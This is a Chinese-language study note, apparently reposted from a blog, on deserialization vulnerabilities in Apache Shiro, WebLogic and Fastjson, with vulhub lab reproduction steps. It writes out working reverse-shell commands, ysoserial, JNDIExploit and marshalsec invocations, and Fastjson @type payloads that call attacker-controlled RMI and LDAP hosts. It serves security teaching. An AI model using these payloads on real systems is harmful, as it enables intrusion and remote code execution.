自学内容网 自学内容网

No.28 笔记 | 反序列化漏洞学习总结

反序列化漏洞总结

在这里插入图片描述

一、反序列化漏洞概述

(一)基本概念

  • 序列化:将对象转换为字节流,便于在内存、文件、数据库中存储,保证对象完整性与可传递性。例如,把一个包含用户信息(姓名、年龄等)的对象序列化为字节流后,可以方便地进行存储或传输。

  • 反序列化:是序列化的逆过程,依据字节流中的对象状态及描述信息重建对象。比如,从存储介质中读取字节流并还原为原始对象。

  • 应用场景:广泛应用于远程和进程间通信(RPC/IPC)、连线协议、Web服务、消息代理、缓存/持久性存储区、数据库、缓存服务器、文件系统、HTTP cookie、HTML表单参数、API身份验证令牌等场景。

(二)漏洞原理

程序在反序列化时会自动调用特定函数(如PHP的__wakeup()__destruct(),Java的readObject()等)。

若传入这些函数的参数能被用户控制,攻击者就可输入恶意代码,从而引发漏洞。

这可能导致多种危害,如远程代码执行(攻击者可执行系统命令,如system('whoami')获取系统信息)、重放攻击、注入、特权提升等。

在这里插入图片描述

二、Apache Shiro反序列化漏洞

(一)框架与漏洞基本信息

  • Shiro框架简介:Apache Shiro是强大易用的Java安全框架,用于身份验证、授权、密码和会话管理,广泛应用于众多应用程序。
  • 漏洞影响版本:Apache Shiro <= 1.2.4。

(二)漏洞原理

  1. Shiro的“记住我(RememberMe)”功能在用户登录成功后,会对用户相关信息进行序列化、AES加密、base64编码处理,并存储在cookie的rememberMe字段。由于AES加密密钥硬编码在代码中且Shiro开源,攻击者可获取密钥。
  2. 攻击者构造恶意对象,按照上述流程处理后发送。服务端接收cookie值后,依次进行Base64解码、AES解密、反序列化操作,因未对反序列化输入过滤,导致可触发远程代码执行漏洞。

(三)漏洞复现

  1. 环境搭建
    • 使用vulhub搭建漏洞环境。进入shiro目录下的相应漏洞目录(如CVE - 2016 - 4437目录),执行docker - compose up - d启动环境。
  2. 判断是否使用Shiro框架
    • 方法一:在网站登录处抓包,若返回包中有rememberMe字段,则可能使用了Shiro框架;若没有,手动添加cookie: rememberMe = 1,再看返回包是否有rememberMe = deleteMe字段。
    • 方法二:直接在请求包的cookie中加入rememberMe = 1,查看返回包是否有rememberMe = deleteMe字段。
  3. 漏洞利用
    • 方法一:使用jar工具(如Liqun工具箱)。选择合适的Gadget/EchoType/Key,进行检测和利用,可执行命令(如whoami)并获取反弹Shell。
    • 方法二:使用python脚本
      • 检测漏洞是否存在时,先申请dnslog临时域名,使用shiro.py脚本生成检测payload(如python shiro.py "http://q0so95.dnslog.cn"),会在当前路径下生成payload.cookie文件。将文件内容粘贴到抓到的Shiro数据包中,用burp发包,查看dnslog是否有解析记录。
      • 利用漏洞时,首先在VPS上监听端口(如nc - lvvp 6666),然后构造反弹shell命令(如/bin/bash - i >& /dev/tcp/192.168.188.171/6666 0>&1)并进行base64编码。接着在VPS开启一个JRMP监听(如java - cp ysoserial - master - SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash - c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTg4LjE3MS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"),最后使用s.py构造payload(如python3 s.py 192.168.188.131:1099)。

(四)任务要求

  1. 复现CVE - 2016 - 4437和CVE - 2019 - 12422漏洞,仔细按照上述步骤操作,理解漏洞利用过程。
  2. 独立实现CVE - 2020 - 1957 shiro权限绕过漏洞(Apache Shiro < 1.5.1,在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可绕过Shiro对目录的权限限制)。

在这里插入图片描述

三、Weblogic反序列化漏洞

(一)框架与漏洞基本信息

  • Weblogic框架简介:Weblogic是常用的Java服务器,在全球有大量应用。随着Java的流行,其相关漏洞在CTF比赛和实际攻击场景中愈发重要。
  • 漏洞成因:序列化和反序列化本身没问题,但当输入的反序列化数据可被用户控制,攻击者可构造恶意输入,使反序列化产生非预期对象,执行任意代码。

(二)历史漏洞类型

包括控制台路径泄露、Weakpassword、SSRF、任意文件上传、JAVA反序列化、XMLDecoder反序列化等,涉及多个CVE编号,如CVE - 2014 - 4210、CVE - 2018 - 2894等。

(三)漏洞复现(以CVE - 2023 - 21839为例)

  1. 环境搭建
    • 基于vulhub搭建漏洞环境。进入Weblogic的CVE - 2023 - 21839目录,执行docker - compose up - d拉起环境,查看端口映射,Weblogic常用端口为7001。
  2. 漏洞原理
    • 在反序列化过程中,执行漏洞类ForeignOpaqueReferencegetReferent()方法中的lookup()触发漏洞。Contextlookup方法用于查找指定名称的对象,攻击者利用此特性,构造LDAP服务器实现远程命令执行。
  3. 漏洞利用
    • Dnslog探测:使用工具(如java - jar Weblogic - CVE - 2023 - 21839.jar 192.168.80.129:7001 ldap://dnslog地址)发送请求,查看dnslog是否有解析记录。
    • 反弹shell
      • VPS使用JNDIExploit - 1.4 - SNAPSHOT.jar工具启动ladp服务(如java - jar JNDIExploit - 1.4 - SNAPSHOT.jar - i ip(VPS的IP地址))并启用监听反弹端口(如nc –lvvp 7777)。
      • 在本机执行漏洞利用代码(如java - jar Weblogic - CVE - 2023 - 21839.jar 192.168.80.129:7001 ldap://vps的ip地址:1389/Basic/ReverseShell/vsp的ip地址/VPS的nc监听端口)。

(四)任务要求

复现CVE - 2017 - 10271、CVE - 2018 - 2894、CVE - 2020 - 14882(未授权命令执行)漏洞,以及进行ssrf(端口探测、尝试反弹shell),参考相关资料进行操作。

在这里插入图片描述

四、Fastjson反序列化漏洞

(一)框架与漏洞基本信息

  • JSON与Fastjson简介
    • JSON是一种使用键值对存储信息的字符串格式,用于信息交换。例如{"name":"张三","age":20}就是一个简单的JSON数据。
    • Fastjson是阿里巴巴开源的高性能JSON库,可实现Java对象与JSON格式的相互转换,广泛应用于缓存序列化、协议交互、Web输出、Android客户端等场景,但存在反序列化安全隐患。
  • 历史漏洞版本:Fastjson <= 1.2.24、1.2.41、1.2.42、1.2.43、1.2.45、1.2.47、1.2.62、1.2.66等版本存在反序列化远程命令执行漏洞。

(二)漏洞原理

  1. 当类只有一个接口时,序列化会抹去子类类型,只保留接口类型,导致反序列化无法区分原始类型。为解决此问题,Fastjson引入基于属性的AutoType,用@type记录原始类型,但被攻击者利用。
  2. 攻击者构造恶意JSON,指定@type为有漏洞的类(如com.sun.rowset.JdbcRowSetImpl),当存在漏洞的目标机反序列化时,会执行类的危险方法,连接攻击者控制的rmi服务器获取恶意代码并执行,实现远程命令执行。

(三)漏洞复现(以1.2.47版本为例)

  1. 环境搭建与漏洞发现
    • 进入vulhub的fastjson目录下的1.2.47 - rce目录,执行docker - compose up - d启动环境。物理机访问目标地址,若看到一个JSON对象被返回,则漏洞环境搭建成功。将请求方式改为POST,将content - type请求头修改为application/json,可向其提交新的JSON对象,后端会用fastjson解析。通过提交特定JSON(如{"a":{"@type":"java.net.Inet4Address","val":"dnslog"}})利用dnslog检测漏洞是否存在。
  2. 反弹shell流程
    • 编译恶意代码(如TouchFile.java)为class文件并上传至web服务器(如javac TouchFile.java)。
    • 启动HTTP服务器(如python - m SimpleHTTPServer 8088python3 - m http.server 8089)为class文件提供下载。
    • 使用marshalsec开启ldap服务(如java - cp marshalsec - 0.0.3 - SNAPSHOT - all.jar marshalsec.jndi.RMIRefServer "http://192.168.179.128:8000/#TouchFile" 9999)。
    • Burp发送payload(如{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.179.128:9999/TouchFile","autoCommit":true}}),攻击机监听相应端口(如nc - Lvvp 12000),成功建立反弹连接。

(四)任务要求

复现1.2.24版本漏洞,使用给定的poc({"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://59.110.xx.xx:9999/Test","autoCommit":true}})进行测试。

在这里插入图片描述

反序列化漏洞在不同框架中表现形式和利用方式各异,但核心问题都是对反序列化数据缺乏有效过滤和校验。

开发者应加强数据校验,及时更新框架版本;安全人员需深入研究漏洞,做好防范工作。

对于学习者,通过深入学习和复现漏洞,可提高安全意识与漏洞挖掘能力。同时,完成相关作业任务(如必修的PHP序列化漏洞研究和Java生态圈框架、中间件RCE漏洞分析,选修的Python序列化漏洞研究)有助于更全面地掌握相关知识。


原文地址:https://blog.csdn.net/l1x1n0/article/details/144730718

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!